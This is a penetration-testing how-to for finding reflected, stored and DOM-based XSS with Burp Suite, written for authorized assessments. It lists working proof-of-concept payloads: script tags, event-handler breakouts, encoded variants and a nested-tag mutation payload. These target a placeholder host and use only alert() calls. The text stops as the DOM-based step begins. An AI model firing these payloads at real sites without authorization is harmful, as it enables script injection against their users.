Testing for XSS Vulnerabilities with Burp Suite

When to Use

• During authorized web application penetration testing to find reflected, stored, and DOM-based XSS
• When validating XSS findings reported by automated vulnerability scanners
• For testing the effectiveness of Content Security Policy (CSP) and XSS filters
• When assessing client-side security of single-page applications (SPAs)
• During bug bounty programs targeting XSS vulnerabilities

Prerequisites

• Authorization: Written scope and rules of engagement for the target application
• Burp Suite Professional: Licensed version with active scanner capabilities
• Browser: Firefox or Chromium with Burp CA certificate installed
• FoxyProxy: Browser extension configured to route traffic through Burp proxy (127.0.0.1:8080)
• Target application: Authenticated access with valid test credentials
• XSS payloads list: Custom wordlist or Burp's built-in XSS payload set

Workflow

Step 1: Configure Burp Suite and Map the Application

Set up the proxy and crawl the application to discover all input vectors.

# Burp Suite Configuration
1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080
2. Target > Scope: Add target domain (e.g., *.target.example.com)
3. Dashboard > New Scan > Crawl only > Select target URL
4. Enable "Passive scanning" in Dashboard settings

# Browser Setup
- Install Burp CA: http://burpsuite → CA Certificate
- Import certificate into browser trust store
- Configure proxy: 127.0.0.1:8080
- Browse the application manually to build the site map

Step 2: Identify Reflection Points with Burp Repeater

Send requests to Repeater and inject unique canary strings to find where user input is reflected.

# In Burp Repeater, inject a unique canary string into each parameter:
GET /search?q=xsscanary12345 HTTP/1.1
Host: target.example.com

# Check the response for reflections of the canary:
# Search response body for "xsscanary12345"
# Note the context: HTML body, attribute, JavaScript, URL, etc.

# Test multiple injection contexts:
# HTML body: <p>Results for: xsscanary12345</p>
# Attribute: <input value="xsscanary12345">
# JavaScript: var search = "xsscanary12345";
# URL context: <a href="/page?q=xsscanary12345">

# Test with HTML special characters to check encoding:
GET /search?q=xss<>"'&/ HTTP/1.1
Host: target.example.com
# Check which characters are reflected unencoded

Step 3: Test Reflected XSS with Context-Specific Payloads

Based on the reflection context, craft targeted XSS payloads.

# HTML Body Context - Basic payload
GET /search?q=<script>alert(document.domain)</script> HTTP/1.1
Host: target.example.com

# HTML Attribute Context - Break out of attribute
GET /search?q=" onfocus=alert(document.domain) autofocus=" HTTP/1.1
Host: target.example.com

# JavaScript String Context - Break out of string
GET /search?q=';alert(document.domain)// HTTP/1.1
Host: target.example.com

# Event Handler Context - Use alternative events
GET /search?q=<img src=x onerror=alert(document.domain)> HTTP/1.1
Host: target.example.com

# SVG Context
GET /search?q=<svg onload=alert(document.domain)> HTTP/1.1
Host: target.example.com

# If angle brackets are filtered, try encoding:
GET /search?q=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: target.example.com

Step 4: Test Stored XSS via Burp Intruder

Use Burp Intruder to test stored XSS across input fields like comments, profiles, and messages.

# Burp Intruder Configuration:
# 1. Right-click request > Send to Intruder
# 2. Positions tab: Mark the injectable parameter
# 3. Payloads tab: Load XSS payload list

# Example payload list for Intruder:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
"><img src=x onerror=alert(1)>
'-alert(1)-'
\'-alert(1)//

# In Intruder > Options > Grep - Match:
# Add patterns: "alert(1)", "onerror=", "<script>"
# This flags responses where payloads are reflected/stored

Step 5: Test DOM-based XSS

Identify client-side JavaScript that processes user input unsafely using Burp's DOM Invader.

# Enable DOM Invader in Burp's embedded browser:
# 1. Open Burp's embedded Chromium browser
# 2. Click DOM Invader extension icon > Enable

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